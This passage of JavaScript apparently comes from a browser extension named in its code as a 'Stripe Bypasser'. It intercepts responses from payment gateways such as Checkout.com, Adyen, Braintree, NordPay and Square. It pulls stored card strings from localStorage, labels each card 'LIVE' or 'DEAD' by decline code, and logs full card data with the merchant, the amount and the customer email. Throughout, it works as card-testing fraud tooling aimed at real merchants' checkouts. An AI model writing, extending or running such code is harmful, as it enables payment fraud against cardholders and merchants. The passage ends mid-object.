                    normalizedText.includes('"charge":{"status":"succeeded"') ||
                    normalizedText.includes('"latest_charge":{"status":"succeeded"')
                  ) {
                    return true;
                  }
                }
                return false;
              };
              const getAdyenFetchState = (adyenResponse, responseText) => {
                if (!adyenResponse && !responseText) {
                  return {
                    success: false,
                    failed: false
                  };
                }
                const successSignals = [
                  adyenResponse?.resultCode === "Authorised",
                  adyenResponse?.resultCode === "Success",
                  adyenResponse?.status === "success",
                  adyenResponse?.status === "completed",
                  adyenResponse?.resultCode === "AuthenticationFinished"
                ];
                const failureSignals = [
                  adyenResponse?.resultCode === "Refused",
                  adyenResponse?.resultCode === "Error",
                  adyenResponse?.resultCode === "Cancelled",
                  adyenResponse?.status === "failed",
                  adyenResponse?.status === "error",
                  adyenResponse?.resultCode === "AuthenticationNotRequired" &&
                    adyenResponse?.refusalReason
                ];
                if (typeof responseText === "string") {
                  const normalizedText = responseText.toLowerCase();
                  if (
                    normalizedText.includes('"resultcode": "authorised"') ||
                    normalizedText.includes('"resultcode":"authorised"') ||
                    normalizedText.includes('"resultcode": "success"') ||
                    normalizedText.includes('"resultcode":"success"') ||
                    normalizedText.includes('"status": "success"') ||
                    normalizedText.includes('"status":"success"')
                  ) {
                    return {
                      success: true,
                      failed: false
                    };
                  }
                  if (
                    normalizedText.includes('"resultcode": "refused"') ||
                    normalizedText.includes('"resultcode":"refused"') ||
                    normalizedText.includes('"resultcode": "error"') ||
                    normalizedText.includes('"resultcode":"error"') ||
                    normalizedText.includes('"status": "failed"') ||
                    normalizedText.includes('"status":"failed"')
                  ) {
                    return {
                      success: false,
                      failed: true
                    };
                  }
                }
                if (successSignals.some(item => item === true)) {
                  return {
                    success: true,
                    failed: false
                  };
                }
                if (failureSignals.some(item => item === true)) {
                  return {
                    success: false,
                    failed: true
                  };
                }
                return {
                  success: false,
                  failed: false
                };
              };
              const adyenFetchState =
                isAdyenRequest || url.includes("adyen.com")
                  ? getAdyenFetchState(responseJson, responseText)
                  : {
                      success: false,
                      failed: false
                    };
              const checkoutComFetchState =
                isCheckoutCom && !isUniversalHiPay
                  ? getCheckoutComTransactionState(responseJson, responseText)
                  : {
                      success: false,
                      failed: false
                    };
              const getNordPayFetchState = (nordPayResponse, responseText) => {
                if (!nordPayResponse && !responseText) {
                  return {
                    success: false,
                    failed: false
                  };
                }
                const successSignals = [
                  nordPayResponse?.token !== undefined && nordPayResponse?.token !== null,
                  nordPayResponse?.id !== undefined && nordPayResponse?.id !== null,
                  nordPayResponse?.status === "success",
                  nordPayResponse?.status === "completed",
                  nordPayResponse?.status === "succeeded",
                  nordPayResponse?.success === true
                ];
                const failureSignals = [
                  nordPayResponse?.status === "failed",
                  nordPayResponse?.status === "error",
                  nordPayResponse?.status === "declined",
                  nordPayResponse?.error !== undefined && nordPayResponse?.error !== null,
                  nordPayResponse?.errors &&
                    Array.isArray(nordPayResponse.errors) &&
                    nordPayResponse.errors.length > 0
                ];
                if (typeof responseText === "string") {
                  const normalizedText = responseText.toLowerCase();
                  if (
                    normalizedText.includes('"token"') ||
                    normalizedText.includes('"id"') ||
                    normalizedText.includes('"status": "success"') ||
                    normalizedText.includes('"status":"success"') ||
                    normalizedText.includes('"status": "completed"') ||
                    normalizedText.includes('"status":"completed"')
                  ) {
                    return {
                      success: true,
                      failed: false
                    };
                  }
                  if (
                    normalizedText.includes('"status": "failed"') ||
                    normalizedText.includes('"status":"failed"') ||
                    normalizedText.includes('"status": "error"') ||
                    normalizedText.includes('"status":"error"') ||
                    normalizedText.includes('"error"') ||
                    normalizedText.includes('"errors"')
                  ) {
                    return {
                      success: false,
                      failed: true
                    };
                  }
                }
                if (successSignals.some(item => item === true)) {
                  return {
                    success: true,
                    failed: false
                  };
                }
                if (failureSignals.some(item => item === true)) {
                  return {
                    success: false,
                    failed: true
                  };
                }
                return {
                  success: false,
                  failed: false
                };
              };
              const nordPayFetchState =
                isNordPayRequest || url.includes("nordpayments.com")
                  ? getNordPayFetchState(responseJson, responseText)
                  : {
                      success: false,
                      failed: false
                    };
              const getBraintreeFetchState = (braintreeResponse, responseText) => {
                if (!braintreeResponse && !responseText) {
                  return {
                    success: false,
                    failed: false
                  };
                }
                const tokenizeCreditCard = braintreeResponse?.data?.tokenizeCreditCard;
                const successSignals = [
                  tokenizeCreditCard?.token != null,
                  braintreeResponse?.token != null,
                  braintreeResponse?.data?.token != null,
                  braintreeResponse?.success === true,
                  braintreeResponse?.status === "success",
                  braintreeResponse?.status === "completed"
                ];
                const failureSignals = [
                  Array.isArray(braintreeResponse?.errors) && braintreeResponse.errors.length > 0,
                  Array.isArray(tokenizeCreditCard?.errors) && tokenizeCreditCard.errors.length > 0,
                  braintreeResponse?.error != null,
                  braintreeResponse?.status === "failed",
                  braintreeResponse?.status === "error"
                ];
                if (typeof responseText === "string") {
                  const normalizedText = responseText.toLowerCase();
                  if (
                    normalizedText.includes('"token"') ||
                    normalizedText.includes('"success": true') ||
                    normalizedText.includes('"success":true') ||
                    normalizedText.includes('"status": "success"') ||
                    normalizedText.includes('"status":"success"')
                  ) {
                    return {
                      success: true,
                      failed: false
                    };
                  }
                  if (
                    normalizedText.includes('"errors"') ||
                    normalizedText.includes('"error"') ||
                    normalizedText.includes('"status": "failed"') ||
                    normalizedText.includes('"status":"failed"')
                  ) {
                    return {
                      success: false,
                      failed: true
                    };
                  }
                }
                if (successSignals.some(item => item === true)) {
                  return {
                    success: true,
                    failed: false
                  };
                }
                if (failureSignals.some(item => item === true)) {
                  return {
                    success: false,
                    failed: true
                  };
                }
                return {
                  success: false,
                  failed: false
                };
              };
              const braintreeFetchState =
                isUniversalBraintree ||
                url.includes("braintree-api.com") ||
                url.includes("braintreegateway.com")
                  ? getBraintreeFetchState(responseJson, responseText)
                  : {
                      success: false,
                      failed: false
                    };
              if (checkoutComFetchState.success) {
                const amountValueText = formatMinorUnitAmount(
                  responseJson?.amount,
                  responseJson?.approved_amount
                );
                const currencyCode =
                  typeof responseJson?.currency === "string"
                    ? responseJson.currency.toUpperCase()
                    : "USD";
                const amount = amountValueText ? currencyCode + " " + amountValueText : null;
                const customerEmail =
                  responseJson?.customer?.email || responseJson?.email || null;
                const successUrl = window.location?.href || url;
                const siteUrl = window.location?.origin || url.split("/").slice(0, 3).join("/");
                const merchant =
                  responseJson?.merchant_reference ||
                  responseJson?.reference ||
                  responseJson?.merchant?.name ||
                  "Checkout.com";
                let storedCardString = null;
                try {
                  if (typeof window !== "undefined" && window.localStorage) {
                    storedCardString =
                      window.localStorage.getItem("checkoutComBypasserLastCardString") ||
                      window.localStorage.getItem("stripeBypasserLastCard");
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const storedCardLog = storedCardString;
                const message = storedCardLog
                  ? "Checkout: Payment Succeeded | Card: " +
                    storedCardLog +
                    (amount ? " | Amount: " + amount : "")
                  : "Checkout: Payment Succeeded" + (amount ? " | Amount: " + amount : "");
                const isTopSelf = window.top !== window.self;
                const isCheckoutLocationUrl =
                  url.includes("checkout.com") ||
                  (window.location &&
                    window.location.hostname &&
                    window.location.hostname.includes("checkout.com"));
                if (isTopSelf || isCheckoutLocationUrl) {
                  try {
                    window.postMessage(
                      {
                        type: "STRIPE_BYPASSER_SHOW_BANNER",
                        bannerText: "Payment Succeeded",
                        bannerType: "success",
                        details: storedCardLog
                          ? "Card: " + storedCardLog.split("|")[0].slice(-4)
                          : null
                      },
                      "*"
                    );
                  } catch (error) {
                    logInterceptedFetchError(error);
                  }
                } else if (window.createStripeBypassBanner) {
                  setTimeout(() => {
                    try {
                      window.createStripeBypassBanner(
                        "Payment Succeeded",
                        "success",
                        storedCardLog ? "Card: " + storedCardLog.split("|")[0].slice(-4) : null
                      );
                    } catch (error) {
                      logInterceptedFetchError(error);
                    }
                  }, 0);
                }
                const paymentLogEntry = {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message,
                  logType: "success",
                  cardInfo: storedCardLog,
                  amount,
                  responseText:
                    responseJson?.response_summary || "Payment authorized successfully!",
                  gateway: "checkoutcom",
                  merchant,
                  successUrl,
                  siteUrl,
                  customerEmail,
                  responseData: responseJson,
                  url
                };
                emitPaymentLogEntry(paymentLogEntry);
              }
              if (checkoutComFetchState.failed) {
                let storedCardString = null;
                try {
                  if (typeof window !== "undefined" && window.localStorage) {
                    storedCardString =
                      window.localStorage.getItem("checkoutComBypasserLastCardString") ||
                      window.localStorage.getItem("stripeBypasserLastCard");
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const storedCardLog = storedCardString;
                let parsedPayload = null;
                try {
                  if (window.StripeBypasserDeclineHandler?.extractGatewayDeclineCode) {
                    parsedPayload = window.StripeBypasserDeclineHandler.extractGatewayDeclineCode(
                      "checkoutcom",
                      responseJson,
                      responseText
                    );
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const declineCode =
                  parsedPayload?.code || responseJson?.response_code || responseJson?.status || "Unknown";
                const declineMessage =
                  parsedPayload?.message ||
                  responseJson?.response_summary ||
                  responseJson?.status ||
                  responseJson?.error_type ||
                  "";
                const isLiveCard = parsedPayload?.isLive || false;
                const statusLabel = isLiveCard ? "LIVE" : "DEAD";
                const logType = isLiveCard ? "success" : "error";
                const message = storedCardLog
                  ? statusLabel +
                    " | Checkout: Decline Code: " +
                    declineCode +
                    " | Card: " +
                    storedCardLog +
                    (declineMessage ? " | " + declineMessage : "")
                  : statusLabel +
                    " | Checkout: Decline Code: " +
                    declineCode +
                    (declineMessage ? " | " + declineMessage : "");
                const bannerText = isLiveCard ? "LIVE Card" : "Card Declined";
                const bannerType = isLiveCard ? "success" : "error";
                const bannerDetails =
                  statusLabel +
                  " | Checkout: Decline Code: " +
                  declineCode +
                  (storedCardLog ? " | Card: " + storedCardLog.split("|")[0].slice(-4) : "");
                try {
                  window.postMessage(
                    {
                      type: "STRIPE_BYPASSER_SHOW_BANNER",
                      bannerText,
                      bannerType,
                      details: bannerDetails
                    },
                    "*"
                  );
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const paymentLogEntry = {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message,
                  logType,
                  cardInfo: storedCardLog,
                  declineCode,
                  responseText:
                    "Payment failed: " +
                    declineCode +
                    (declineMessage ? " - " + declineMessage : ""),
                  gateway: "checkoutcom",
                  merchant:
                    responseJson?.merchant_reference ||
                    responseJson?.reference ||
                    responseJson?.merchant?.name ||
                    "Checkout.com",
                  successUrl: window.location?.href || url,
                  siteUrl: window.location?.origin || url.split("/").slice(0, 3).join("/"),
                  responseData: responseJson,
                  url
                };
                emitPaymentLogEntry(paymentLogEntry);
              }
              if (braintreeFetchState.success) {
                let parsedPayload = null;
                try {
                  if (typeof window !== "undefined" && window.localStorage) {
                    parsedPayload = window.localStorage.getItem("braintreeBypasserLastCardString");
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                if (parsedPayload) {
                  stripeBypasserLogger.log("[FetchInterceptor] Braintree payment succeeded", {
                    card: parsedPayload.substring(0, 20) + "..."
                  });
                  const typeInfo = {
                    type: "STRIPE_BYPASSER_PAYMENT_LOG",
                    message: "Braintree Payment Success: " + parsedPayload,
                    logType: "success"
                  };
                  const paymentLogEntry = typeInfo;
                  emitPaymentLogEntry(paymentLogEntry);
                }
              }
              if (braintreeFetchState.failed) {
                let storedCardString = null;
                try {
                  if (typeof window !== "undefined" && window.localStorage) {
                    storedCardString = window.localStorage.getItem(
                      "braintreeBypasserLastCardString"
                    );
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const storedCardLog = storedCardString;
                let parsedPayload = null;
                try {
                  if (window.StripeBypasserDeclineHandler?.extractGatewayDeclineCode) {
                    parsedPayload = window.StripeBypasserDeclineHandler.extractGatewayDeclineCode(
                      "braintree",
                      responseJson,
                      responseText
                    );
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const declineCode = parsedPayload?.code || "Unknown";
                const declineMessage = parsedPayload?.message || "";
                const isLiveCard = parsedPayload?.isLive || false;
                const statusLabel = isLiveCard ? "LIVE" : "DEAD";
                const logType = isLiveCard ? "success" : "error";
                const message = storedCardLog
                  ? statusLabel +
                    " | Braintree: Decline Code: " +
                    declineCode +
                    " | Card: " +
                    storedCardLog +
                    (declineMessage ? " | " + declineMessage : "")
                  : statusLabel +
                    " | Braintree: Decline Code: " +
                    declineCode +
                    (declineMessage ? " | " + declineMessage : "");
                try {
                  window.postMessage(
                    {
                      type: "STRIPE_BYPASSER_SHOW_BANNER",
                      bannerText: isLiveCard ? "LIVE Card" : "Card Declined",
                      bannerType: isLiveCard ? "success" : "error",
                      details:
                        statusLabel +
                        " | Braintree: Decline Code: " +
                        declineCode +
                        (storedCardLog ? " | Card: " + storedCardLog.split("|")[0].slice(-4) : "")
                    },
                    "*"
                  );
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const typeInfo = {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message,
                  logType,
                  cardInfo: storedCardLog,
                  declineCode
                };
                const paymentLogEntry = typeInfo;
                emitPaymentLogEntry(paymentLogEntry);
              }
              if (nordPayFetchState.success) {
                let parsedPayload = null;
                try {
                  if (typeof window !== "undefined" && window.localStorage) {
                    parsedPayload = window.localStorage.getItem("nordpayBypasserLastCardString");
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                if (parsedPayload) {
                  stripeBypasserLogger.log("[FetchInterceptor] NordPay payment succeeded", {
                    card: parsedPayload.substring(0, 20) + "..."
                  });
                  const typeInfo = {
                    type: "STRIPE_BYPASSER_PAYMENT_LOG",
                    message: "NordPay Payment Success: " + parsedPayload,
                    logType: "success"
                  };
                  const paymentLogEntry = typeInfo;
                  emitPaymentLogEntry(paymentLogEntry);
                }
              }
              if (nordPayFetchState.failed) {
                let storedCardString = null;
                try {
                  if (typeof window !== "undefined" && window.localStorage) {
                    storedCardString = window.localStorage.getItem("nordpayBypasserLastCardString");
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const storedCardLog = storedCardString;
                let parsedPayload = null;
                try {
                  if (window.StripeBypasserDeclineHandler?.extractGatewayDeclineCode) {
                    parsedPayload = window.StripeBypasserDeclineHandler.extractGatewayDeclineCode(
                      "nordpay",
                      responseJson,
                      responseText
                    );
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const declineCode = parsedPayload?.code || "Unknown";
                const declineMessage = parsedPayload?.message || "";
                const isLiveCard = parsedPayload?.isLive || false;
                const statusLabel = isLiveCard ? "LIVE" : "DEAD";
                const logType = isLiveCard ? "success" : "error";
                const message = storedCardLog
                  ? statusLabel +
                    " | NordPay: Decline Code: " +
                    declineCode +
                    " | Card: " +
                    storedCardLog +
                    (declineMessage ? " | " + declineMessage : "")
                  : statusLabel +
                    " | NordPay: Decline Code: " +
                    declineCode +
                    (declineMessage ? " | " + declineMessage : "");
                try {
                  window.postMessage(
                    {
                      type: "STRIPE_BYPASSER_SHOW_BANNER",
                      bannerText: isLiveCard ? "LIVE Card" : "Card Declined",
                      bannerType: isLiveCard ? "success" : "error",
                      details:
                        statusLabel +
                        " | NordPay: Decline Code: " +
                        declineCode +
                        (storedCardLog ? " | Card: " + storedCardLog.split("|")[0].slice(-4) : "")
                    },
                    "*"
                  );
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const typeInfo = {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message,
                  logType,
                  cardInfo: storedCardLog,
                  declineCode
                };
                const paymentLogEntry = typeInfo;
                emitPaymentLogEntry(paymentLogEntry);
              }
              if (adyenFetchState.success) {
                const adyenAmount = responseJson?.amount;
                const amountValueText = formatMinorUnitAmount(
                  adyenAmount?.value,
                  responseJson?.amount
                );
                const amountCurrencyCode =
                  (typeof adyenAmount?.currency === "string"
                    ? adyenAmount.currency.toUpperCase()
                    : null) ||
                  (typeof responseJson?.currency === "string"
                    ? responseJson.currency.toUpperCase()
                    : null) ||
                  "USD";
                const amount = amountValueText ? amountCurrencyCode + " " + amountValueText : null;
                let storedCardInfo = null;
                try {
                  if (typeof window !== "undefined" && window.localStorage) {
                    storedCardInfo = window.localStorage.getItem("adyenBypasserLastCardString");
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const paymentLogEntry = {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message: storedCardInfo
                    ? "Adyen: Payment Succeeded | Card: " +
                      storedCardInfo +
                      (amount ? " | Amount: " + amount : "")
                    : "Adyen: Payment Succeeded" + (amount ? " | Amount: " + amount : ""),
                  logType: "success",
                  cardInfo: storedCardInfo,
                  amount,
                  responseText: "Payment authorised successfully!",
                  gateway: "adyen",
                  merchant:
                    responseJson?.merchantReference || responseJson?.reference || "Adyen Checkout",
                  successUrl: window.location?.href || url,
                  siteUrl: window.location?.origin || url.split("/").slice(0, 3).join("/"),
                  customerEmail:
                    responseJson?.shopperEmail || responseJson?.customer?.email || null,
                  responseData: responseJson,
                  url
                };
                emitPaymentLogEntry(paymentLogEntry);
              }
              if (adyenFetchState.failed) {
                let storedCardString = null;
                try {
                  if (typeof window !== "undefined" && window.localStorage) {
                    storedCardString = window.localStorage.getItem("adyenBypasserLastCardString");
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const storedCardLog = storedCardString;
                let parsedPayload = null;
                try {
                  if (window.StripeBypasserDeclineHandler?.extractGatewayDeclineCode) {
                    parsedPayload = window.StripeBypasserDeclineHandler.extractGatewayDeclineCode(
                      "adyen",
                      responseJson,
                      responseText
                    );
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const declineCode =
                  parsedPayload?.code ||
                  responseJson?.refusalReasonCode ||
                  responseJson?.refusalReason ||
                  "Unknown";
                const refusalReason =
                  parsedPayload?.message ||
                  responseJson?.refusalReason ||
                  responseJson?.resultCode ||
                  "";
                const isLiveCard = parsedPayload?.isLive || false;
                const statusLabel = isLiveCard ? "LIVE" : "DEAD";
                const logType = isLiveCard ? "success" : "error";
                const message = storedCardLog
                  ? statusLabel +
                    " | Adyen: Decline Code: " +
                    declineCode +
                    " | Card: " +
                    storedCardLog +
                    (refusalReason ? " | " + refusalReason : "")
                  : statusLabel +
                    " | Adyen: Decline Code: " +
                    declineCode +
                    (refusalReason ? " | " + refusalReason : "");
                try {
                  window.postMessage(
                    {
                      type: "STRIPE_BYPASSER_SHOW_BANNER",
                      bannerText: isLiveCard ? "LIVE Card" : "Card Declined",
                      bannerType: isLiveCard ? "success" : "error",
                      details:
                        statusLabel +
                        " | Adyen: Decline Code: " +
                        declineCode +
                        (storedCardLog ? " | Card: " + storedCardLog.split("|")[0].slice(-4) : "")
                    },
                    "*"
                  );
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const paymentLogEntry = {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message,
                  logType,
                  cardInfo: storedCardLog,
                  declineCode,
                  responseText:
                    "Payment refused: " +
                    declineCode +
                    (refusalReason ? " - " + refusalReason : ""),
                  gateway: "adyen",
                  merchant:
                    responseJson?.merchantReference || responseJson?.reference || "Adyen Checkout",
                  successUrl: window.location?.href || url,
                  siteUrl: window.location?.origin || url.split("/").slice(0, 3).join("/"),
                  responseData: responseJson,
                  url
                };
                emitPaymentLogEntry(paymentLogEntry);
              }
              const stripePaymentSucceeded = isStripePaymentSucceeded(responseJson, responseText);
              const gogPaymentSucceeded = ((paymentResponse, requestBody) => {
                if (!paymentResponse && !requestBody) {
                  return false;
                }
                if (paymentResponse?.completed === true) {
                  return true;
                }
                if (paymentResponse?.payment_status === "paid") {
                  return true;
                }
                if (typeof requestBody === "string") {
                  const normalizedText = requestBody.toLowerCase();
                  if (
                    normalizedText.includes('"completed": true') ||
                    normalizedText.includes('"completed":true') ||
                    normalizedText.includes('"payment_status": "paid"') ||
                    normalizedText.includes('"payment_status":"paid"')
                  ) {
                    return true;
                  }
                }
                return false;
              })(responseJson, responseText);
              const getAdyenXhrState = (adyenResponse, responseText) => {
                if (!adyenResponse && !responseText) {
                  return {
                    success: false,
                    failed: false
                  };
                }
                const successSignals = [
                  adyenResponse?.resultCode === "Authorised",
                  adyenResponse?.resultCode === "Success",
                  adyenResponse?.status === "success",
                  adyenResponse?.status === "completed",
                  adyenResponse?.resultCode === "AuthenticationFinished"
                ];
                const failureSignals = [
                  adyenResponse?.resultCode === "Refused",
                  adyenResponse?.resultCode === "Error",
                  adyenResponse?.resultCode === "Cancelled",
                  adyenResponse?.status === "failed",
                  adyenResponse?.status === "error",
                  adyenResponse?.resultCode === "AuthenticationNotRequired" &&
                    adyenResponse?.refusalReason
                ];
                if (typeof responseText === "string") {
                  const normalizedText = responseText.toLowerCase();
                  if (
                    normalizedText.includes('"resultcode": "authorised"') ||
                    normalizedText.includes('"resultcode":"authorised"') ||
                    normalizedText.includes('"resultcode": "success"') ||
                    normalizedText.includes('"resultcode":"success"') ||
                    normalizedText.includes('"status": "success"') ||
                    normalizedText.includes('"status":"success"')
                  ) {
                    return {
                      success: true,
                      failed: false
                    };
                  }
                  if (
                    normalizedText.includes('"resultcode": "refused"') ||
                    normalizedText.includes('"resultcode":"refused"') ||
                    normalizedText.includes('"resultcode": "error"') ||
                    normalizedText.includes('"resultcode":"error"') ||
                    normalizedText.includes('"status": "failed"') ||
                    normalizedText.includes('"status":"failed"')
                  ) {
                    return {
                      success: false,
                      failed: true
                    };
                  }
                }
                if (successSignals.some(item => item === true)) {
                  return {
                    success: true,
                    failed: false
                  };
                }
                if (failureSignals.some(item => item === true)) {
                  return {
                    success: false,
                    failed: true
                  };
                }
                return {
                  success: false,
                  failed: false
                };
              };
              const getSquareXhrState = (squareResponse, responseText) => {
                if (!squareResponse && !responseText) {
                  return {
                    success: false,
                    failed: false
                  };
                }
                const successSignals = [
                  squareResponse?.status === "COMPLETED",
                  squareResponse?.status === "APPROVED",
                  squareResponse?.status === "succeeded",
                  squareResponse?.status === "success",
                  squareResponse?.payment?.status === "COMPLETED",
                  squareResponse?.payment?.status === "APPROVED",
                  squareResponse?.state === "COMPLETED",
                  squareResponse?.state === "APPROVED"
                ];
                const failureSignals = [
                  squareResponse?.status === "FAILED",
                  squareResponse?.status === "DECLINED",
                  squareResponse?.status === "CANCELED",
                  squareResponse?.status === "failed",
                  squareResponse?.status === "error",
                  squareResponse?.payment?.status === "FAILED",
                  squareResponse?.payment?.status === "DECLINED",
                  squareResponse?.errors &&
                    Array.isArray(squareResponse.errors) &&
                    squareResponse.errors.length > 0
                ];
                if (typeof responseText === "string") {
                  const normalizedText = responseText.toLowerCase();
                  if (
                    normalizedText.includes('"status": "completed"') ||
                    normalizedText.includes('"status":"completed"') ||
                    normalizedText.includes('"status": "approved"') ||
                    normalizedText.includes('"status":"approved"') ||
                    normalizedText.includes('"state": "completed"') ||
                    normalizedText.includes('"state":"completed"')
                  ) {
                    return {
                      success: true,
                      failed: false
                    };
                  }
                  if (
                    normalizedText.includes('"status": "failed"') ||
                    normalizedText.includes('"status":"failed"') ||
                    normalizedText.includes('"status": "declined"') ||
                    normalizedText.includes('"status":"declined"') ||
                    normalizedText.includes('"errors"') ||
                    normalizedText.includes('"error"')
                  ) {
                    return {
                      success: false,
                      failed: true
                    };
                  }
                }
                if (successSignals.some(item => item === true)) {
                  return {
                    success: true,
                    failed: false
                  };
                }
                if (failureSignals.some(item => item === true)) {
                  return {
                    success: false,
                    failed: true
                  };
                }
                return {
                  success: false,
                  failed: false
                };
              };
              const adyenXhrState =
                isAdyenRequest || url.includes("adyen.com")
                  ? getAdyenXhrState(responseJson, responseText)
                  : {
                      success: false,
                      failed: false
                    };
              const squareXhrState =
                isUniversalSquare || url.includes("squareup.com") || url.includes("square.site")
                  ? getSquareXhrState(responseJson, responseText)
                  : {
                      success: false,
                      failed: false
                    };
              const getNordPayXhrState = (nordPayResponse, responseText) => {
                if (!nordPayResponse && !responseText) {
                  return {
                    success: false,
                    failed: false
                  };
                }
                const successSignals = [
                  nordPayResponse?.token !== undefined && nordPayResponse?.token !== null,
                  nordPayResponse?.id !== undefined && nordPayResponse?.id !== null,
                  nordPayResponse?.status === "success",
                  nordPayResponse?.status === "completed",
                  nordPayResponse?.status === "succeeded",
                  nordPayResponse?.success === true
                ];
                const failureSignals = [
                  nordPayResponse?.status === "failed",
                  nordPayResponse?.status === "error",
                  nordPayResponse?.status === "declined",
                  nordPayResponse?.error !== undefined && nordPayResponse?.error !== null,
                  nordPayResponse?.errors &&
                    Array.isArray(nordPayResponse.errors) &&
                    nordPayResponse.errors.length > 0
                ];
                if (typeof responseText === "string") {
                  const normalizedText = responseText.toLowerCase();
                  if (
                    normalizedText.includes('"token"') ||
                    normalizedText.includes('"id"') ||
                    normalizedText.includes('"status": "success"') ||
                    normalizedText.includes('"status":"success"') ||
                    normalizedText.includes('"status": "completed"') ||
                    normalizedText.includes('"status":"completed"')
                  ) {
                    return {
                      success: true,
                      failed: false
                    };
                  }
                  if (
                    normalizedText.includes('"status": "failed"') ||
                    normalizedText.includes('"status":"failed"') ||
                    normalizedText.includes('"status": "error"') ||
                    normalizedText.includes('"status":"error"') ||
                    normalizedText.includes('"error"') ||
                    normalizedText.includes('"errors"')
                  ) {
                    return {
                      success: false,
                      failed: true
                    };
                  }
                }
                if (successSignals.some(item => item === true)) {
                  return {
                    success: true,
                    failed: false
                  };
                }
                if (failureSignals.some(item => item === true)) {
                  return {
                    success: false,
                    failed: true
                  };
                }
                return {
                  success: false,
                  failed: false
                };
              };
              const nordPayXhrState =
                isNordPayRequest || url.includes("nordpayments.com")
                  ? getNordPayXhrState(responseJson, responseText)
                  : {
                      success: false,
                      failed: false
                    };
              const getBraintreeXhrState = (braintreeResponse, responseText) => {
                if (!braintreeResponse && !responseText) {
                  return {
                    success: false,
                    failed: false
                  };
                }
                const tokenizeCreditCard = braintreeResponse?.data?.tokenizeCreditCard;
                const successSignals = [
                  tokenizeCreditCard?.token != null,
                  braintreeResponse?.token != null,
                  braintreeResponse?.data?.token != null,
                  braintreeResponse?.success === true,
                  braintreeResponse?.status === "success",
                  braintreeResponse?.status === "completed"
                ];
                const failureSignals = [
                  Array.isArray(braintreeResponse?.errors) && braintreeResponse.errors.length > 0,
                  Array.isArray(tokenizeCreditCard?.errors) && tokenizeCreditCard.errors.length > 0,
                  braintreeResponse?.error != null,
                  braintreeResponse?.status === "failed",
                  braintreeResponse?.status === "error"
                ];
                if (typeof responseText === "string") {
                  const normalizedText = responseText.toLowerCase();
                  if (
                    normalizedText.includes('"token"') ||
                    normalizedText.includes('"success": true') ||
                    normalizedText.includes('"success":true') ||
                    normalizedText.includes('"status": "success"') ||
                    normalizedText.includes('"status":"success"')
                  ) {
                    return {
                      success: true,
                      failed: false
                    };
                  }
                  if (
                    normalizedText.includes('"errors"') ||
                    normalizedText.includes('"error"') ||
                    normalizedText.includes('"status": "failed"') ||
                    normalizedText.includes('"status":"failed"')
                  ) {
                    return {
                      success: false,
                      failed: true
                    };
                  }
                }
                if (successSignals.some(item => item === true)) {
                  return {
                    success: true,
                    failed: false
                  };
                }
                if (failureSignals.some(item => item === true)) {
                  return {
                    success: false,
                    failed: true
                  };
                }
                return {
                  success: false,
                  failed: false
                };
              };
              const braintreeXhrState =
                isUniversalBraintree ||
                url.includes("braintree-api.com") ||
                url.includes("braintreegateway.com")
                  ? getBraintreeXhrState(responseJson, responseText)
                  : {
                      success: false,
                      failed: false
                    };
              if (braintreeXhrState.success) {
                let parsedPayload = null;
                try {
                  if (typeof window !== "undefined" && window.localStorage) {
                    parsedPayload = window.localStorage.getItem("braintreeBypasserLastCardString");
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                if (parsedPayload) {
                  stripeBypasserLogger.log("[FetchInterceptor] Braintree payment succeeded", {
                    card: parsedPayload.substring(0, 20) + "..."
                  });
                  const typeInfo = {
                    type: "STRIPE_BYPASSER_PAYMENT_LOG",
                    message: "Braintree Payment Success: " + parsedPayload,
                    logType: "success"
                  };
                  const paymentLogEntry = typeInfo;
                  emitPaymentLogEntry(paymentLogEntry);
                }
              }
              if (braintreeXhrState.failed) {
                let storedCardString = null;
                try {
                  if (typeof window !== "undefined" && window.localStorage) {
                    storedCardString = window.localStorage.getItem(
                      "braintreeBypasserLastCardString"
                    );
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const storedCardLog = storedCardString;
                let parsedPayload = null;
                try {
                  if (window.StripeBypasserDeclineHandler?.extractGatewayDeclineCode) {
                    parsedPayload = window.StripeBypasserDeclineHandler.extractGatewayDeclineCode(
                      "braintree",
                      responseJson,
                      responseText
                    );
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const declineCode = parsedPayload?.code || "Unknown";
                const declineMessage = parsedPayload?.message || "";
                const isLiveCard = parsedPayload?.isLive || false;
                const statusLabel = isLiveCard ? "LIVE" : "DEAD";
                const logType = isLiveCard ? "success" : "error";
                const message = storedCardLog
                  ? statusLabel +
                    " | Braintree: Decline Code: " +
                    declineCode +
                    " | Card: " +
                    storedCardLog +
                    (declineMessage ? " | " + declineMessage : "")
                  : statusLabel +
                    " | Braintree: Decline Code: " +
                    declineCode +
                    (declineMessage ? " | " + declineMessage : "");
                try {
                  window.postMessage(
                    {
                      type: "STRIPE_BYPASSER_SHOW_BANNER",
                      bannerText: isLiveCard ? "LIVE Card" : "Card Declined",
                      bannerType: isLiveCard ? "success" : "error",
                      details:
                        statusLabel +
                        " | Braintree: Decline Code: " +
                        declineCode +
                        (storedCardLog ? " | Card: " + storedCardLog.split("|")[0].slice(-4) : "")
                    },
                    "*"
                  );
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const typeInfo = {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message,
                  logType,
